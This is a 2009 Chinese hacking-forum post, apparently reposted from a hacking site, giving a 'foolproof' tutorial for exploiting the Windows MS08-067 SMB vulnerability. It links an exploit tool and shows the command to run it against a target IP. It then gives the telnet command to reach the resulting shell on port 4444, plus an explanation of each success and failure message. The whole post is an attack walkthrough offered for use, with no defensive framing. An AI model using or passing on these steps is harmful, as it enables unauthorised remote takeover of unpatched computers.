nsiz 发表于 2009-7-10 13:34:49

ms08067利用方法傻瓜化教程

看最近几天ms08067挺火的,借着这个火气,过来分享一下这个漏洞的利用方法和全自动利用工具。
首先说下EMM发的Exp,

ms08067 漏洞利用工具.rar(24.85 KB)


使用方法非常简单,
cmd下直接运行MS08-067.exe IP即可。


若是提示:
SMB Connect OK!
Send Payload Over!
表明成功了。





接着就可以通过4444端口连接了
Telnet XXX.XXX.XXX.XXX 4444


若是提示:
SMB Connect OK!
RpcExceptionCode() = 1722
表明目标开了防火墙,溢出失败。


若是提示:
SMB Connect OK!
Maybe Patched!
表明目标已经打上补丁了。


若是提示:
Make SMB Connection error:1203
表明目标没有开启Server、Workstation、Computer Browser其中的任何一种服务。


若是提示:
Make SMB Connection error:53
表明目标没开445端口或本地网络问题。







本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处:http://www.520hack.com/Article/Text2/200811/12036.html
页: [1]
查看完整版本: ms08067利用方法傻瓜化教程